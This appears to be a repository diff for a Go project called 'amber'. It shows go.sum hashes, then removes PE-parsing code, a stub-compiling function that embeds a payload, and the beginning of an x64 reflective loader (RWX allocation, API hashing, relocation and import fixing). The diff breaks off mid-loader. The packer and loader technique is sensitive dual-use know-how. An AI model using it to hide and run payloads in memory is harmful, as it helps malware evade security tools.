golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
|
||||||
golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
|
|
||||||
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
|
||||||
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
|
|
||||||
golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
|
|
||||||
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
|
||||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||||
golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20190626221950-04f50cda93cb/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae h1:/WDfKMnPU+m5M4xB+6x4kaepxRw6jWvR5iDRdvjHgy8=
|
|
||||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||||
golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48 h1:AYCWBZhgIw6XobZ5CibNJr0Rc4ZofGGKvWa1vcx2IGk=
|
|
||||||
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
|
||||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
|
||||||
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
|
||||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
|
||||||
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
|
||||||
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
|
|
||||||
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
|
||||||
golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
|
|
||||||
golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
|
|
||||||
golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
|
||||||
golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
|
|
||||||
golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
|
|
||||||
golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/tools v0.0.0-20191127201027-ecd32218bd7f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
|
|
||||||
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
|
||||||
google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
|
|
||||||
google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
|
|
||||||
google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
|
||||||
google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
|
|
||||||
google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
|
|
||||||
google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
|
|
||||||
google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
|
||||||
google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
|
|
||||||
google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
|
|
||||||
google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
|
|
||||||
google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
|
|
||||||
google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
|
|
||||||
google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
|
|
||||||
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
|
|
||||||
google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
|
|
||||||
google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
|
|
||||||
gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
|
|
||||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
|
||||||
gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
|
||||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
|
||||||
gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
|
|
||||||
gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
|
|
||||||
gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
|
|
||||||
gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
gopkg.in/yaml.v2 v2.3.0 h1:clyUAQHOM3G0M3f5vQj7LuJrETvjVot3Z5el9nffUtU=
|
|
||||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
|
||||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
|
||||||
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
|
|
||||||
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
|
|
||||||
rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4=
|
|
||||||
|
|||||||
Binary file not shown.
|
After Width: | Height: | Size: 668 KiB |
@@ -1,74 +0,0 @@
|
|||||||
package amber
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
|
|
||||||
pe "amber/debug/pe"
|
|
||||||
)
|
|
||||||
|
|
||||||
// Analyze returns a Blueprint structure for the given PE file name
|
|
||||||
func Analyze(fileName string) (*Blueprint, error) {
|
|
||||||
var new Blueprint
|
|
||||||
|
|
||||||
peFile, err := pe.Open(fileName)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
new.file = peFile
|
|
||||||
// Set file name
|
|
||||||
new.FileName = fileName
|
|
||||||
// Set architecture
|
|
||||||
switch peFile.FileHeader.Machine {
|
|
||||||
case pe.IMAGE_FILE_MACHINE_I386:
|
|
||||||
new.Architecture = 32
|
|
||||||
case pe.IMAGE_FILE_MACHINE_AMD64:
|
|
||||||
new.Architecture = 64
|
|
||||||
default:
|
|
||||||
return nil, errors.New("file architecture not supported")
|
|
||||||
}
|
|
||||||
|
|
||||||
switch hdr := (peFile.OptionalHeader).(type) {
|
|
||||||
case *pe.OptionalHeader32:
|
|
||||||
// cast those back to a uint32 before use in 32bit
|
|
||||||
new.ImageBase = uint64(hdr.ImageBase)
|
|
||||||
new.Subsystem = hdr.Subsystem
|
|
||||||
new.SizeOfImage = hdr.SizeOfImage
|
|
||||||
|
|
||||||
new.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
|
|
||||||
new.HasRelocData = hdr.DataDirectory[5].Size != 0x00
|
|
||||||
new.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
|
|
||||||
new.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
|
|
||||||
new.IsCLR = hdr.DataDirectory[14].Size != 0x00
|
|
||||||
|
|
||||||
new.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
break
|
|
||||||
case *pe.OptionalHeader64:
|
|
||||||
new.ImageBase = hdr.ImageBase
|
|
||||||
new.Subsystem = hdr.Subsystem
|
|
||||||
new.SizeOfImage = hdr.SizeOfImage
|
|
||||||
|
|
||||||
new.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL)
|
|
||||||
new.HasRelocData = hdr.DataDirectory[5].Size != 0x00
|
|
||||||
new.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00
|
|
||||||
new.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00
|
|
||||||
new.IsCLR = hdr.DataDirectory[14].Size != 0x00
|
|
||||||
|
|
||||||
new.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
new.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase))
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
fileSize, err := GetFileSize(fileName)
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
new.FileSize = fileSize
|
|
||||||
// Check for TLS callbacks !!!
|
|
||||||
|
|
||||||
return &new, nil
|
|
||||||
}
|
|
||||||
@@ -1,91 +0,0 @@
|
|||||||
package amber
|
|
||||||
|
|
||||||
import (
|
|
||||||
pe "amber/debug/pe"
|
|
||||||
"bytes"
|
|
||||||
"encoding/base64"
|
|
||||||
"encoding/binary"
|
|
||||||
"io/ioutil"
|
|
||||||
"os"
|
|
||||||
)
|
|
||||||
|
|
||||||
// CompileStub generates the final stub file with given payload
|
|
||||||
func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) {
|
|
||||||
|
|
||||||
tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_")
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
defer os.Remove(tmpStub.Name())
|
|
||||||
|
|
||||||
stub := []byte{}
|
|
||||||
|
|
||||||
switch bp.Architecture {
|
|
||||||
case 32:
|
|
||||||
stub, err = base64.StdEncoding.DecodeString(STUB32)
|
|
||||||
case 64:
|
|
||||||
stub, err = base64.StdEncoding.DecodeString(STUB64)
|
|
||||||
}
|
|
||||||
|
|
||||||
tmpStub.Write(stub)
|
|
||||||
tmpStubPE, err := pe.Open(tmpStub.Name())
|
|
||||||
|
|
||||||
var sizeOfImage, fileAlignment uint32
|
|
||||||
var imageBase uint64
|
|
||||||
|
|
||||||
lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1]
|
|
||||||
|
|
||||||
switch tmpStubPE.FileHeader.Machine {
|
|
||||||
case pe.IMAGE_FILE_MACHINE_I386:
|
|
||||||
// cast those back to a uint32 before use in 32bit
|
|
||||||
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32)
|
|
||||||
imageBase = uint64(hdr.ImageBase) // cast this back to a uint32 before use in 32bit
|
|
||||||
sizeOfImage = hdr.SizeOfImage
|
|
||||||
fileAlignment = hdr.FileAlignment
|
|
||||||
break
|
|
||||||
case pe.IMAGE_FILE_MACHINE_AMD64:
|
|
||||||
hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64)
|
|
||||||
imageBase = hdr.ImageBase
|
|
||||||
sizeOfImage = hdr.SizeOfImage
|
|
||||||
fileAlignment = hdr.FileAlignment
|
|
||||||
break
|
|
||||||
}
|
|
||||||
|
|
||||||
lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name))
|
|
||||||
newSectionName := "." + randomString(7)
|
|
||||||
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...)
|
|
||||||
oldBytes := make([]byte, 4)
|
|
||||||
newBytes := make([]byte, 4)
|
|
||||||
|
|
||||||
// Change ImageBase
|
|
||||||
binary.LittleEndian.PutUint32(oldBytes, uint32(imageBase))
|
|
||||||
binary.LittleEndian.PutUint32(newBytes, uint32(bp.ImageBase))
|
|
||||||
stub = bytes.Replace(stub, oldBytes, newBytes, 1)
|
|
||||||
// Change SizeOfImage
|
|
||||||
binary.LittleEndian.PutUint32(oldBytes, uint32(sizeOfImage))
|
|
||||||
binary.LittleEndian.PutUint32(newBytes, uint32(bp.SizeOfImage+sizeOfImage))
|
|
||||||
stub = bytes.Replace(stub, oldBytes, newBytes, 1)
|
|
||||||
// Change SectionVirtualSize
|
|
||||||
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize))
|
|
||||||
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment, 0))
|
|
||||||
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...)
|
|
||||||
// Change SectionRawSize
|
|
||||||
binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size))
|
|
||||||
binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment, 0))
|
|
||||||
stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 3)...)
|
|
||||||
|
|
||||||
oldSectionData, err := lastSection.Data()
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
stub = bytes.Replace(stub, oldSectionData, payload, 1)
|
|
||||||
|
|
||||||
return stub, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func align(size, align, addr uint32) uint32 {
|
|
||||||
if 0 == (size % align) {
|
|
||||||
return addr + size
|
|
||||||
}
|
|
||||||
return addr + (size/align+1)*align
|
|
||||||
}
|
|
||||||
-867
@@ -1,867 +0,0 @@
|
|||||||
package amber
|
|
||||||
|
|
||||||
const LoaderX64 = `
|
|
||||||
start:
|
|
||||||
pop rsi ; Get the address of image to rsi
|
|
||||||
call get_ip ; Push the current EIP to stack
|
|
||||||
get_ip:
|
|
||||||
cld ; Clear direction flags
|
|
||||||
sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0]
|
|
||||||
mov rbp,rsp ; Copy current stack address to rbp
|
|
||||||
and rbp,-0x1000 ; Create a new shadow stack address
|
|
||||||
mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax
|
|
||||||
mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx
|
|
||||||
mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12
|
|
||||||
mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE
|
|
||||||
mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
|
||||||
mov rdx,[rsp] ; dwSize
|
|
||||||
xor rcx,rcx ; lpAddress
|
|
||||||
xchg rsp,rbp ; Swap shadow stack
|
|
||||||
mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
|
|
||||||
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
|
||||||
xchg rsp,rbp ; Swap shadow stack
|
|
||||||
mov rdi,rax ; Save the new base address to rdi
|
|
||||||
xor rax,rax ; Zero out the RAX
|
|
||||||
xor r8,r8 ; Zero out the R8
|
|
||||||
xor r13,r13 ; Zero out the R13
|
|
||||||
xor r14,r14 ; Zero out the R14
|
|
||||||
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size
|
|
||||||
mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA
|
|
||||||
add rax,rsi ; Base relocation table memory address
|
|
||||||
add rcx,rax ; End of base relocation table
|
|
||||||
calc_delta:
|
|
||||||
mov rdx,rdi ; Move the new base address to rdx
|
|
||||||
sub rdx,rbx ; Delta value
|
|
||||||
mov r13d,dword [rax] ; Move the reloc RVA to R13D
|
|
||||||
mov r14d,dword [rax+4] ; Move the reloc table size to R14D
|
|
||||||
add rax,8 ; Move to the reloc descriptor
|
|
||||||
jmp fix ; Start fixing
|
|
||||||
get_rva:
|
|
||||||
cmp rcx,rax ; Check if the end of the reloc section
|
|
||||||
jle reloc_fin ; If yes goto fin
|
|
||||||
mov r13d,dword [rax] ; Move the new reloc RVA
|
|
||||||
mov r14d,dword [rax+4] ; Move the new reloc table size
|
|
||||||
add rax,8 ; Move 8 bytes
|
|
||||||
fix:
|
|
||||||
cmp r14w,8 ; Check if the end of the reloc block
|
|
||||||
jz get_rva ; If yes set the next block RVA
|
|
||||||
mov r8w,word [rax] ; Move the reloc desc to r8w
|
|
||||||
cmp r8w,0 ; Check if it is a padding word
|
|
||||||
je pass ; Pass padding bytes
|
|
||||||
and r8w,0x0FFF ; Get the last 12 bits
|
|
||||||
add r8d,r13d ; Add block RVA to desc value
|
|
||||||
add r8,rsi ; Add the start address of the image
|
|
||||||
add [r8],rdx ; Add the delta value to calculated absolute address
|
|
||||||
pass:
|
|
||||||
sub r14d,2 ; Decrease the index
|
|
||||||
add rax,2 ; Move to the next reloc desc.
|
|
||||||
xor r8,r8 ; Zero out r8
|
|
||||||
jmp fix ; Loop
|
|
||||||
reloc_fin: ; All done !
|
|
||||||
xor r14,r14 ; Zero out r14
|
|
||||||
xor r15,r15 ; Zero out r15
|
|
||||||
xor rcx,rcx ; Zero out rcx
|
|
||||||
mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
|
||||||
mov eax,dword [rax+rsi+0x90] ; Import table RVA
|
|
||||||
add rax,rsi ; Import table memory address (first image import descriptor)
|
|
||||||
push rax ; Save import descriptor to stack
|
|
||||||
get_modules:
|
|
||||||
cmp dword [rax],0 ; Check if the import names table RVA is NULL
|
|
||||||
jz complete ; If yes building process is done
|
|
||||||
mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax
|
|
||||||
add rcx,rsi ; Get the dll name address
|
|
||||||
call LoadLibraryA ; Load the library
|
|
||||||
mov r13,rax ; Move the dll handle to R13
|
|
||||||
mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
|
||||||
call get_procs ; Resolve all windows API function addresses
|
|
||||||
add dword [rsp],0x14 ; Move to the next import descriptor
|
|
||||||
mov rax,[rsp] ; Set the new import descriptor address to eax
